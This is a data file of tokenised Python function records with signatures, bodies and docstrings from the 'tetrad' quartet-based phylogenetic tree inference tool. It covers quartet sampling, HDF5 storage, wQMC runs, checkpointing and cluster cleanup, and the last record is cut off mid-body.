{"signature": "def _build_trees(fclade_counts, namedict):", "body": "<EOL>nodes = {}<EOL>idxarr = np.arange(len(fclade_counts[<NUM_LIT:0>][<NUM_LIT:0>]))<EOL>queue = []<EOL>countdict = defaultdict(int)<EOL>for clade, count in fclade_counts:<EOL><INDENT>mask = np.int_(list(clade)).astype(np.bool)<EOL>ccx = idxarr[mask]<EOL>queue.append((len(ccx), frozenset(ccx)))<EOL>countdict[frozenset(ccx)] = count<EOL><DEDENT>while queue:<EOL><INDENT>queue.sort()<EOL>(clade_size, clade) = queue.pop(<NUM_LIT:0>)<EOL>new_queue = []<EOL>for (_, ancestor) in queue:<EOL><INDENT>if clade.issubset(ancestor):<EOL><INDENT>new_ancestor = (ancestor - clade) | frozenset([clade])          <EOL>countdict[new_ancestor] = countdict.pop(ancestor)<EOL>ancestor = new_ancestor<EOL><DEDENT>new_queue.append((len(ancestor), ancestor))<EOL><DEDENT>if clade_size == <NUM_LIT:1>:<EOL><INDENT>name = list(clade)[<NUM_LIT:0>]<EOL>name = namedict[name]<EOL><DEDENT>else:<EOL><INDENT>name = None <EOL><DEDENT>children = [nodes.pop(c) for c in clade if c in nodes]<EOL>node = ete3.Tree(name=name)    <EOL>for child in children:<EOL><INDENT>node.add_child(child)<EOL><DEDENT>if not node.is_leaf():<EOL><INDENT>node.dist = int(round(<NUM_LIT:100>*countdict[clade]))<EOL>node.support = int(round(<NUM_LIT:100>*countdict[clade]))<EOL><DEDENT>else:<EOL><INDENT>node.dist = int(<NUM_LIT:100>) <EOL>node.support = int(<NUM_LIT:100>)<EOL><DEDENT>nodes[clade] = node<EOL>queue = new_queue<EOL><DEDENT>tre = nodes.values()[<NUM_LIT:0>]<EOL>tre.unroot()<EOL>return tre, list(nodes.values())<EOL>", "docstring": "A subfunc of consensus_tree(). Build an unrooted consensus tree \nfrom filtered clade counts.", "id": "f5347:m20"}
{"signature": "def _get_total(tots, node):", "body": "if (node.is_leaf() or node.is_root()):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>if len(node.children) > <NUM_LIT:2>:<EOL><INDENT>down_r = node.children[<NUM_LIT:0>]<EOL>down_l = node.children[<NUM_LIT:1>]<EOL>for child in node.children[<NUM_LIT:2>:]:<EOL><INDENT>down_l += child<EOL><DEDENT><DEDENT>else:<EOL><INDENT>down_r, down_l = node.children<EOL><DEDENT>lendr = sum(<NUM_LIT:1> for i in down_r.iter_leaves())<EOL>lendl = sum(<NUM_LIT:1> for i in down_l.iter_leaves())<EOL>up_r = node.get_sisters()[<NUM_LIT:0>]<EOL>lenur = sum(<NUM_LIT:1> for i in up_r.iter_leaves())<EOL>lenul = tots - (lendr + lendl + lenur)<EOL>return lendr * lendl * lenur * lenul<EOL><DEDENT>", "docstring": "get total number of quartets possible for a split", "id": "f5347:m21"}
{"signature": "def _get_sampled(data, totn, node):", "body": "<EOL>names = sorted(totn)<EOL>cdict = {name: idx for idx, name in enumerate(names)}<EOL>if (node.is_leaf() or node.is_root()):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>if len(node.children) > <NUM_LIT:2>:<EOL><INDENT>down_r = node.children[<NUM_LIT:0>]<EOL>down_l = node.children[<NUM_LIT:1>]<EOL>for child in node.children[<NUM_LIT:2>:]:<EOL><INDENT>down_l += child<EOL><DEDENT><DEDENT>else:<EOL><INDENT>down_r, down_l = node.children<EOL><DEDENT>lendr = set(cdict[i] for i in down_r.get_leaf_names())<EOL>lendl = set(cdict[i] for i in down_l.get_leaf_names())<EOL>up_r = node.get_sisters()[<NUM_LIT:0>]<EOL>lenur = set(cdict[i] for i in up_r.get_leaf_names())<EOL>lenul = set(cdict[i] for i in totn - set.union(lendr, lendl, lenur))<EOL><DEDENT>idx = <NUM_LIT:0><EOL>sampled = <NUM_LIT:0><EOL>with h5py.File(data.database.output, '<STR_LIT:r>') as io5:<EOL><INDENT>end = io5[\"<STR_LIT>\"].shape[<NUM_LIT:0>]<EOL>while <NUM_LIT:1>:<EOL><INDENT>if idx >= end:<EOL><INDENT>break<EOL><DEDENT>qrts = io5[\"<STR_LIT>\"][idx:idx+data._chunksize]<EOL>for qrt in qrts:<EOL><INDENT>sqrt = set(qrt)<EOL>if all([sqrt.intersection(i) for i in [lendr, lendl, lenur, lenul]]):<EOL><INDENT>sampled += <NUM_LIT:1><EOL><DEDENT><DEDENT>idx += data._chunksize<EOL><DEDENT><DEDENT>return sampled<EOL>", "docstring": "get total number of quartets sampled for a split", "id": "f5347:m22"}
{"signature": "def refresh(self):", "body": "<EOL>oldfiles = [self.files.qdump] +self.database.__dict__.values() +self.trees.__dict__.values()<EOL>for oldfile in oldfiles:<EOL><INDENT>if oldfile:<EOL><INDENT>if os.path.exists(oldfile):<EOL><INDENT>os.remove(oldfile)<EOL><DEDENT><DEDENT><DEDENT>oldcluster = copy.deepcopy(self._ipcluster)<EOL>self.__init__(<EOL>name=self.name, <EOL>data=self.files.data, <EOL>mapfile=self.files.mapfile,<EOL>workdir=self.dirs,<EOL>method=self.params.method,<EOL>guidetreefile=self.files.guidetreefile,<EOL>resolve=self._resolve, <EOL>nboots=self.params.nboots, <EOL>nquartets=self.params.nquartets, <EOL>initarr=True, <EOL>quiet=True,<EOL>cli=self.kwargs.get(\"<STR_LIT>\")<EOL>)<EOL>self._ipcluster = oldcluster<EOL>", "docstring": "Remove all existing results files and reinit the h5 arrays \nso that the tetrad object is just like fresh from a CLI start.", "id": "f5347:c0:m1"}
{"signature": "def _parse_names(self):", "body": "self.samples = []<EOL>with iter(open(self.files.data, '<STR_LIT:r>')) as infile:<EOL><INDENT>infile.next().strip().split()<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>self.samples.append(infile.next().split()[<NUM_LIT:0>])<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "parse sample names from the sequence file", "id": "f5347:c0:m2"}
{"signature": "def _init_seqarray(self, quiet=False):", "body": "<EOL>try:<EOL><INDENT>spath = open(self.files.data, '<STR_LIT:r>')<EOL><DEDENT>except IOError:<EOL><INDENT>raise IPyradWarningExit(NO_SNP_FILE.format(self.files.data))<EOL><DEDENT>line = spath.readline().strip().split()<EOL>ntax = int(line[<NUM_LIT:0>])<EOL>nbp = int(line[<NUM_LIT:1>])<EOL>if not quiet:<EOL><INDENT>print(\"<STR_LIT>\".format(ntax, nbp))        <EOL><DEDENT>tmpseq = np.zeros((ntax, nbp), dtype=np.uint8)<EOL>with h5py.File(self.database.input, '<STR_LIT:w>') as io5:<EOL><INDENT>io5.create_dataset(\"<STR_LIT>\", (ntax, nbp), dtype=np.uint8)<EOL>io5.create_dataset(\"<STR_LIT>\", (ntax, nbp), dtype=np.uint8)<EOL>io5.create_dataset(\"<STR_LIT>\", (nbp, <NUM_LIT:2>), dtype=np.uint32)<EOL>if self.files.mapfile:<EOL><INDENT>with open(self.files.mapfile, '<STR_LIT:r>') as inmap:<EOL><INDENT>maparr = np.genfromtxt(inmap, dtype=np.uint64)<EOL>io5[\"<STR_LIT>\"][:] = maparr[:, [<NUM_LIT:0>, <NUM_LIT:3>]]<EOL>spans = np.zeros((maparr[-<NUM_LIT:1>, <NUM_LIT:0>], <NUM_LIT:2>), np.uint64)<EOL>spans = get_spans(maparr, spans)<EOL>io5.create_dataset(\"<STR_LIT>\", data=spans)<EOL>if not quiet:<EOL><INDENT>print(\"<STR_LIT>\".format(spans.shape[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>io5[\"<STR_LIT>\"][:, <NUM_LIT:0>] = np.arange(io5[\"<STR_LIT>\"].shape[<NUM_LIT:0>])<EOL><DEDENT>for line, seq in enumerate(spath.readlines()):<EOL><INDENT>tmpseq[line] = np.array(list(seq.split()[-<NUM_LIT:1>])).view(np.uint8)<EOL><DEDENT>tmpseq[tmpseq == <NUM_LIT>] = <NUM_LIT><EOL>tmpseq[tmpseq == <NUM_LIT>] = <NUM_LIT>            <EOL>io5[\"<STR_LIT>\"][:] = tmpseq<EOL>if self._resolve:<EOL><INDENT>tmpseq = resolve_ambigs(tmpseq)<EOL><DEDENT>tmpseq[tmpseq == <NUM_LIT>] = <NUM_LIT:0><EOL>tmpseq[tmpseq == <NUM_LIT>] = <NUM_LIT:1><EOL>tmpseq[tmpseq == <NUM_LIT>] = <NUM_LIT:2><EOL>tmpseq[tmpseq == <NUM_LIT>] = <NUM_LIT:3><EOL>io5[\"<STR_LIT>\"][:] = tmpseq<EOL>LOGGER.info(\"<STR_LIT>\", io5[\"<STR_LIT>\"][:, :<NUM_LIT:20>])<EOL>LOGGER.info(\"<STR_LIT>\", io5[\"<STR_LIT>\"][:, :<NUM_LIT:20>])<EOL>LOGGER.info(\"<STR_LIT>\", io5[\"<STR_LIT>\"][:<NUM_LIT:20>, :])<EOL><DEDENT>", "docstring": "Fills the seqarr with the full data set, and creates a bootsarr copy\nwith the following modifications:\n\n1) converts \"-\" into \"N\"s, since they are similarly treated as missing. \n2) randomly resolve ambiguities (RSKWYM)\n3) convert to uint8 for smaller memory load and faster computation", "id": "f5347:c0:m3"}
{"signature": "def _store_N_samples(self, ncpus):", "body": "breaks = <NUM_LIT:2><EOL>if self.params.nquartets < <NUM_LIT>:<EOL><INDENT>breaks = <NUM_LIT:1><EOL><DEDENT>if self.params.nquartets > <NUM_LIT>:<EOL><INDENT>breaks = <NUM_LIT:4><EOL><DEDENT>if self.params.nquartets > <NUM_LIT>:<EOL><INDENT>breaks = <NUM_LIT:8><EOL><DEDENT>self._chunksize = (self.params.nquartets // (breaks * ncpus) +(self.params.nquartets % (breaks * ncpus)))<EOL>LOGGER.info(\"<STR_LIT>\", self.params.nquartets, self._chunksize)<EOL>with h5py.File(self.database.output, '<STR_LIT:w>') as io5:<EOL><INDENT>io5.create_dataset(\"<STR_LIT>\", <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint16, <EOL>chunks=(self._chunksize, <NUM_LIT:4>))<EOL>io5.create_dataset(\"<STR_LIT>\", <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint32, <EOL>chunks=(self._chunksize, <NUM_LIT:4>))<EOL>io5.create_group(\"<STR_LIT>\")<EOL><DEDENT>with h5py.File(self.database.input, '<STR_LIT:a>') as io5:<EOL><INDENT>io5.create_dataset(\"<STR_LIT>\", <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint16, <EOL>chunks=(self._chunksize, <NUM_LIT:4>),<EOL>compression='<STR_LIT>')<EOL>qiter = itertools.combinations(xrange(len(self.samples)), <NUM_LIT:4>)<EOL>i = <NUM_LIT:0><EOL>while i < self.params.nquartets:<EOL><INDENT>if self.params.method != \"<STR_LIT:all>\":<EOL><INDENT>qiter = []<EOL>while len(qiter) < min(self._chunksize, io5[\"<STR_LIT>\"].shape[<NUM_LIT:0>]):<EOL><INDENT>qiter.append(<EOL>random_combination(range(len(self.samples)), <NUM_LIT:4>))<EOL><DEDENT>dat = np.array(qiter)<EOL><DEDENT>else:<EOL><INDENT>dat = np.array(list(itertools.islice(qiter, self._chunksize)))<EOL><DEDENT>io5[\"<STR_LIT>\"][i:i+self._chunksize] = dat[:io5[\"<STR_LIT>\"].shape[<NUM_LIT:0>] - i]<EOL>i += self._chunksize<EOL><DEDENT><DEDENT>", "docstring": "Find all quartets of samples and store in a large array\nCreate a chunk size for sampling from the array of quartets. \nThis should be relatively large so that we don't spend a lot of time \ndoing I/O, but small enough that jobs finish often for checkpointing.", "id": "f5347:c0:m6"}
{"signature": "def _store_equal_samples(self, ncpus):", "body": "<EOL>breaks = <NUM_LIT:2><EOL>if self.params.nquartets < <NUM_LIT>:<EOL><INDENT>breaks = <NUM_LIT:1><EOL><DEDENT>if self.params.nquartets > <NUM_LIT>:<EOL><INDENT>breaks = <NUM_LIT:4><EOL><DEDENT>if self.params.nquartets > <NUM_LIT>:<EOL><INDENT>breaks = <NUM_LIT:8><EOL><DEDENT>self._chunksize = (self.params.nquartets // (breaks * ncpus) +(self.params.nquartets % (breaks * ncpus)))<EOL>LOGGER.info(\"<STR_LIT>\", self.params.nquartets, self._chunksize)<EOL>with h5py.File(self.database.output, '<STR_LIT:w>') as io5:<EOL><INDENT>io5.create_dataset(\"<STR_LIT>\", <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint16, <EOL>chunks=(self._chunksize, <NUM_LIT:4>))<EOL>io5.create_dataset(\"<STR_LIT>\", <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint32, <EOL>chunks=(self._chunksize, <NUM_LIT:4>))<EOL>io5.create_group(\"<STR_LIT>\")<EOL><DEDENT>tre = ete3.Tree(self.files.guidetreefile, format=<NUM_LIT:0>)<EOL>tre.tree.unroot()<EOL>tre.tree.resolve_polytomy(recursive=True)<EOL>tre.tree.ladderize()<EOL>splits = [([self.samples.index(z.name) for z in i], <EOL>[self.samples.index(z.name) for z in j])for (i, j) in tre.get_edges()]<EOL>splits = [i for i in splits if all([len(j) > <NUM_LIT:1> for j in i])]<EOL>qiters = []<EOL>squarts = self.params.nquartets // len(splits)<EOL>nsaturation = <NUM_LIT:0><EOL>for split in splits:<EOL><INDENT>if n_choose_k(len(split[<NUM_LIT:0>]), <NUM_LIT:2>) * n_choose_k(len(split[<NUM_LIT:1>]), <NUM_LIT:2>) < squarts*<NUM_LIT:2>:<EOL><INDENT>qiter = (i+j for (i, j) in itertools.product(<EOL>itertools.combinations(split[<NUM_LIT:0>], <NUM_LIT:2>), <EOL>itertools.combinations(split[<NUM_LIT:1>], <NUM_LIT:2>)))<EOL>nsaturation += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>qiter = (random_product(split[<NUM_LIT:0>], split[<NUM_LIT:1>]) for _in xrange(self.params.nquartets))<EOL>nsaturation += <NUM_LIT:1><EOL><DEDENT>qiters.append(qiter)<EOL><DEDENT>qiters = itertools.cycle(qiters)<EOL>cycler = itertools.cycle(range(len(splits)))<EOL>sampled = set()<EOL>with h5py.File(self.database.input, '<STR_LIT:a>') as io5:<EOL><INDENT>io5.create_dataset(\"<STR_LIT>\", <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint16, <EOL>chunks=(self._chunksize, <NUM_LIT:4>),<EOL>compression='<STR_LIT>')<EOL>i = <NUM_LIT:0><EOL>empty = set()<EOL>edge_targeted = <NUM_LIT:0><EOL>random_target = <NUM_LIT:0><EOL>while i < self.params.nquartets:<EOL><INDENT>qdat = []<EOL>while len(qdat) < self._chunksize:<EOL><INDENT>qiter = qiters.next()<EOL>cycle = cycler.next()<EOL>try:<EOL><INDENT>qrtsamp = qiter.next()<EOL>if tuple(qrtsamp) not in sampled:<EOL><INDENT>qdat.append(qrtsamp)<EOL>sampled.add(qrtsamp)<EOL>edge_targeted += <NUM_LIT:1><EOL><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>empty.add(cycle)<EOL><DEDENT>if len(empty) == nsaturation:<EOL><INDENT>break<EOL><DEDENT><DEDENT>while len(qdat) < self._chunksize:<EOL><INDENT>qrtsamp = random_combination(range(len(self.samples)), <NUM_LIT:4>)<EOL>if tuple(qrtsamp) not in sampled:<EOL><INDENT>qdat.append(qrtsamp)<EOL>sampled.add(qrtsamp)<EOL>random_target += <NUM_LIT:1><EOL><DEDENT><DEDENT>dat = np.array(qdat, dtype=np.uint16)<EOL>io5[\"<STR_LIT>\"][i:i+self._chunksize] = dat[:io5[\"<STR_LIT>\"].shape[<NUM_LIT:0>] - i]<EOL>i += self._chunksize<EOL><DEDENT>print(\"<STR_LIT>\".format(edge_targeted, random_target))<EOL><DEDENT>", "docstring": "sample quartets evenly across splits of the starting tree, and fills\nin remaining samples with random quartet samples. Uses a hash dict to \nnot sample the same quartet twice, so for very large trees this can \ntake a few minutes to find millions of possible quartet samples.", "id": "f5347:c0:m7"}
{"signature": "def _run_qmc(self, boot):", "body": "<EOL>self._tmp = os.path.join(self.dirs, \"<STR_LIT>\")<EOL>cmd = [ip.bins.qmc, \"<STR_LIT>\"+self.files.qdump, \"<STR_LIT>\"+self._tmp] <EOL>proc = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE)<EOL>res = proc.communicate()<EOL>if proc.returncode:<EOL><INDENT>LOGGER.error(res)<EOL>raise IPyradWarningExit(res[<NUM_LIT:1>])<EOL><DEDENT>with open(self._tmp) as intree:<EOL><INDENT>tmp = ete3.Tree(intree.read().strip())<EOL>tmpwtre = self._renamer(tmp)<EOL><DEDENT>if boot:<EOL><INDENT>self.trees.boots = os.path.join(self.dirs, self.name+\"<STR_LIT>\")<EOL>with open(self.trees.boots, '<STR_LIT:a>') as outboot:<EOL><INDENT>outboot.write(tmpwtre+\"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.trees.tree = os.path.join(self.dirs, self.name+\"<STR_LIT>\")<EOL>with open(self.trees.tree, '<STR_LIT:w>') as outtree:<EOL><INDENT>outtree.write(tmpwtre)<EOL><DEDENT><DEDENT>self._save()<EOL>", "docstring": "runs quartet max-cut on a quartets file", "id": "f5347:c0:m8"}
{"signature": "def _dump_qmc(self):", "body": "<EOL>io5 = h5py.File(self.database.output, '<STR_LIT:r>')<EOL>self.files.qdump = os.path.join(self.dirs, self.name+\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\", self.files.qdump)<EOL>outfile = open(self.files.qdump, '<STR_LIT:w>')<EOL>for idx in xrange(<NUM_LIT:0>, self.params.nquartets, self._chunksize):<EOL><INDENT>masked_quartets = io5[\"<STR_LIT>\"][idx:idx+self._chunksize, :]<EOL>quarts = [list(j) for j in masked_quartets]<EOL>chunk = [\"<STR_LIT>\".format(*i) for i in quarts]<EOL>outfile.write(\"<STR_LIT:\\n>\".join(chunk)+\"<STR_LIT:\\n>\")<EOL><DEDENT>outfile.close()<EOL>io5.close()<EOL>", "docstring": "Makes a reduced array that excludes quartets with no information and \nprints the quartets and weights to a file formatted for wQMC", "id": "f5347:c0:m9"}
{"signature": "def _renamer(self, tre):", "body": "<EOL>names = tre.get_leaves()<EOL>for name in names:<EOL><INDENT>name.name = self.samples[int(name.name)]<EOL><DEDENT>return tre.write(format=<NUM_LIT:9>)<EOL>", "docstring": "renames newick from numbers to sample names", "id": "f5347:c0:m10"}
{"signature": "def _finalize_stats(self, ipyclient):", "body": "<EOL>print(FINALTREES.format(opr(self.trees.tree)))<EOL>if self.params.nboots:<EOL><INDENT>self._compute_tree_stats(ipyclient)<EOL>print(BOOTTREES.format(opr(self.trees.cons), opr(self.trees.boots))) <EOL><DEDENT>if len(self.samples) < <NUM_LIT:20>:<EOL><INDENT>if self.params.nboots:<EOL><INDENT>wctre = ete3.Tree(self.trees.cons, format=<NUM_LIT:0>)<EOL>wctre.ladderize()<EOL>print(wctre.get_ascii(show_internal=True, <EOL>attributes=[\"<STR_LIT>\", \"<STR_LIT:name>\"]))<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>qtre = ete3.Tree(self.trees.tree, format=<NUM_LIT:0>)<EOL>qtre.ladderize()<EOL>print(qtre.get_ascii())<EOL>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>docslink = \"<STR_LIT>\"    <EOL>citelink = \"<STR_LIT>\"<EOL>print(LINKS.format(docslink, citelink))<EOL>", "docstring": "write final tree files", "id": "f5347:c0:m11"}
{"signature": "def _compute_tree_stats(self, ipyclient):", "body": "compute_tree_stats(self, ipyclient)<EOL>", "docstring": "writes support values as edge labels on unrooted tree", "id": "f5347:c0:m12"}
{"signature": "def _save(self):", "body": "<EOL>fulldict = copy.deepcopy(self.__dict__)<EOL>for i, j in fulldict.items():<EOL><INDENT>if isinstance(j, Params):<EOL><INDENT>fulldict[i] = j.__dict__<EOL><DEDENT><DEDENT>fulldumps = json.dumps(fulldict,<EOL>sort_keys=False, <EOL>indent=<NUM_LIT:4>, <EOL>separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT::>\"),<EOL>)<EOL>assemblypath = os.path.join(self.dirs, self.name+\"<STR_LIT>\")<EOL>if not os.path.exists(self.dirs):<EOL><INDENT>os.mkdir(self.dirs)<EOL><DEDENT>done = <NUM_LIT:0><EOL>while not done:<EOL><INDENT>try:<EOL><INDENT>with open(assemblypath, '<STR_LIT:w>') as jout:<EOL><INDENT>jout.write(fulldumps)<EOL><DEDENT>done = <NUM_LIT:1><EOL><DEDENT>except (KeyboardInterrupt, SystemExit): <EOL><INDENT>print('<STR_LIT:.>')<EOL>continue<EOL><DEDENT><DEDENT>", "docstring": "save a JSON file representation of Tetrad Class for checkpoint", "id": "f5347:c0:m13"}
{"signature": "def _insert_to_array(self, start, results):", "body": "qrts, wgts, qsts = results<EOL>with h5py.File(self.database.output, '<STR_LIT>') as out:<EOL><INDENT>chunk = self._chunksize<EOL>out['<STR_LIT>'][start:start+chunk] = qrts<EOL>if self.checkpoint.boots:<EOL><INDENT>key = \"<STR_LIT>\".format(self.checkpoint.boots-<NUM_LIT:1>)<EOL>out[key][start:start+chunk] = qsts<EOL><DEDENT>else:<EOL><INDENT>out[\"<STR_LIT>\"][start:start+chunk] = qsts<EOL><DEDENT><DEDENT>", "docstring": "inputs results from workers into hdf4 array", "id": "f5347:c0:m14"}
{"signature": "def _load_json(self, name, workdir, quiet=False):", "body": "<EOL>path = os.path.join(workdir, name)<EOL>if not path.endswith(\"<STR_LIT>\"):<EOL><INDENT>path += \"<STR_LIT>\"<EOL><DEDENT>path = path.replace(\"<STR_LIT>\", os.path.expanduser(\"<STR_LIT>\"))<EOL>try:<EOL><INDENT>with open(path, '<STR_LIT:r>') as infile:<EOL><INDENT>fullj = _byteify(json.loads(infile.read(),<EOL>object_hook=_byteify), <EOL>ignore_dicts=True)<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(path))<EOL><DEDENT>self.name = fullj[\"<STR_LIT:name>\"]<EOL>self.files.data = fullj[\"<STR_LIT>\"][\"<STR_LIT:data>\"]<EOL>self.files.mapfile = fullj[\"<STR_LIT>\"][\"<STR_LIT>\"]        <EOL>self.dirs = fullj[\"<STR_LIT>\"]<EOL>self.params.method = fullj[\"<STR_LIT>\"]<EOL>self._init_seqarray(quiet=quiet)<EOL>self._parse_names()<EOL>for key in fullj:<EOL><INDENT>if key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>filler = fullj[key]<EOL>for ikey in filler:<EOL><INDENT>self.__dict__[key].__setattr__(ikey, fullj[key][ikey])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.__setattr__(key, fullj[key])<EOL><DEDENT><DEDENT>", "docstring": "Load a json serialized Tetrad Class object", "id": "f5347:c0:m15"}
{"signature": "def run(self, force=<NUM_LIT:0>, verbose=<NUM_LIT:2>, ipyclient=None):", "body": "<EOL>if force:<EOL><INDENT>self.refresh()<EOL><DEDENT>inst = None<EOL>try:<EOL><INDENT>if not ipyclient:<EOL><INDENT>args = self._ipcluster.items() + [(\"<STR_LIT>\", \"<STR_LIT>\")] <EOL>ipyclient = ip.core.parallel.get_client(**dict(args)) <EOL><DEDENT>if verbose == <NUM_LIT:2>:<EOL><INDENT>ip.cluster_info(ipyclient)<EOL><DEDENT>targets = get_targets(ipyclient)<EOL>lbview = ipyclient.load_balanced_view(targets=targets)<EOL>self._ipcluster[\"<STR_LIT>\"] = ipyclient[:].apply(os.getpid).get_dict()<EOL>if not self._chunksize:<EOL><INDENT>if self.params.method != '<STR_LIT>':<EOL><INDENT>self._store_N_samples(ncpus=len(lbview))<EOL><DEDENT>else:<EOL><INDENT>self._store_equal_samples(ncpus=len(lbview))<EOL><DEDENT><DEDENT>start = time.time()            <EOL>if not self.trees.tree:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\".format(self.params.nquartets))<EOL><DEDENT>self._inference(start, lbview, quiet=verbose == <NUM_LIT:0>)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>start = time.time()<EOL>if self.params.nboots:<EOL><INDENT>if self.checkpoint.boots == self.params.nboots:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\".format(self.params.nboots))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while self.checkpoint.boots < self.params.nboots:<EOL><INDENT>if self.files.mapfile:<EOL><INDENT>self._sample_bootseq_array_map()<EOL><DEDENT>else:<EOL><INDENT>self._sample_bootseq_array() <EOL><DEDENT>self.checkpoint.boots += <NUM_LIT:1><EOL>self._inference(start, lbview, quiet=verbose == <NUM_LIT:0>)<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.files.stats = os.path.join(self.dirs, self.name+\"<STR_LIT>\")<EOL>if not self.kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>self._compute_tree_stats(ipyclient)<EOL><DEDENT>else:<EOL><INDENT>self._finalize_stats(ipyclient)<EOL><DEDENT><DEDENT>except KeyboardInterrupt as inst:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>except IPyradWarningExit as inst:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\", inst)<EOL>print(inst)<EOL><DEDENT>except Exception as inst:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\", inst)<EOL>print(\"<STR_LIT>\".format(inst))<EOL><DEDENT>finally:<EOL><INDENT>try:<EOL><INDENT>self._save()                <EOL>if ipyclient:<EOL><INDENT>ipyclient.abort()<EOL>LOGGER.info(\"<STR_LIT>\", self._ipcluster[\"<STR_LIT>\"])<EOL>for engine_id, pid in self._ipcluster[\"<STR_LIT>\"].items():<EOL><INDENT>LOGGER.info(\"<STR_LIT>\", engine_id)<EOL>LOGGER.info(\"<STR_LIT>\", pid)<EOL>LOGGER.info(\"<STR_LIT>\", ipyclient.queue_status()[engine_id][\"<STR_LIT>\"])<EOL>if ipyclient.queue_status()[engine_id][\"<STR_LIT>\"]:<EOL><INDENT>LOGGER.info('<STR_LIT>'.format(engine_id, pid))<EOL>os.kill(pid, <NUM_LIT:2>)<EOL><DEDENT><DEDENT>time.sleep(<NUM_LIT:1>)<EOL>if '<STR_LIT>' in self._ipcluster[\"<STR_LIT>\"]:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>ipyclient.shutdown(hub=True, block=False)<EOL>ipyclient.close()<EOL>LOGGER.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if not ipyclient.outstanding:<EOL><INDENT>ipyclient.purge_everything()<EOL><DEDENT>else:<EOL><INDENT>ipyclient.shutdown(hub=True, block=False)<EOL>ipyclient.close()<EOL>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if inst:<EOL><INDENT>raise inst<EOL><DEDENT><DEDENT>except Exception as inst2:<EOL><INDENT>print(\"<STR_LIT>\".format(inst2))<EOL>LOGGER.error(\"<STR_LIT>\", inst2)<EOL><DEDENT><DEDENT>", "docstring": "Run quartet inference on a SNP alignment and distribute work\nacross an ipyparallel cluster (ipyclient). Unless passed an \nipyclient explicitly, it looks for a running ipcluster instance\nrunning from the defautl (\"\") profile, and will raise an exception\nif one is not found within a set time limit. If not using the default\nprofile then you can set \"profile\" as an argument to the tetrad object. \nParameter settings influencing the run (e.g., nquartets, method) should\nbe set on the tetrad Class object itself. \n\nParameters\n----------\nforce (bool):\n    Overwrite results for an object with this name if they exist.\nverbose (int):\n    0=print nothing, 1=print progress bars, 2=print progress bars and\n    print cluster info. \nipyclient (ipyparallel.Client object):\n    Default is None (use running Default ipcluster instance). To use\n    a different ipcluster instance start a Client class object \n    and pass it in as an argument here.", "id": "f5347:c0:m16"}
{"signature": "def _inference(self, start, lbview, quiet=False):", "body": "<EOL>gen = xrange(self.checkpoint.arr, self.params.nquartets, self._chunksize)<EOL>njobs = sum(<NUM_LIT:1> for _ in gen)<EOL>jobiter = iter(gen)<EOL>LOGGER.info(\"<STR_LIT>\",self._chunksize, self.checkpoint.arr, self.params.nquartets, njobs)<EOL>key = \"<STR_LIT>\".format(self.checkpoint.boots)<EOL>with h5py.File(self.database.output, '<STR_LIT>') as out:<EOL><INDENT>if key not in out[\"<STR_LIT>\"].keys():<EOL><INDENT>out[\"<STR_LIT>\"].create_dataset(key, <EOL>(self.params.nquartets, <NUM_LIT:4>), <EOL>dtype=np.uint32, <EOL>chunks=(self._chunksize, <NUM_LIT:4>))<EOL><DEDENT><DEDENT>elapsed = datetime.timedelta(seconds=int(time.time()-start))<EOL>if not self.checkpoint.boots:<EOL><INDENT>printstr = \"<STR_LIT>\"<EOL>if not quiet:<EOL><INDENT>progressbar(<NUM_LIT:1>, <NUM_LIT:0>, printstr.format(elapsed), spacer=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>printstr = \"<STR_LIT>\"<EOL>if not quiet:<EOL><INDENT>progressbar(self.params.nboots, self.checkpoint.boots, <EOL>printstr.format(self.checkpoint.boots, elapsed), spacer=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>res = {}<EOL>for _ in xrange(njobs):<EOL><INDENT>qidx = jobiter.next()<EOL>LOGGER.info('<STR_LIT>', qidx)<EOL>with h5py.File(self.database.input, '<STR_LIT:r>') as inh5:<EOL><INDENT>smps = 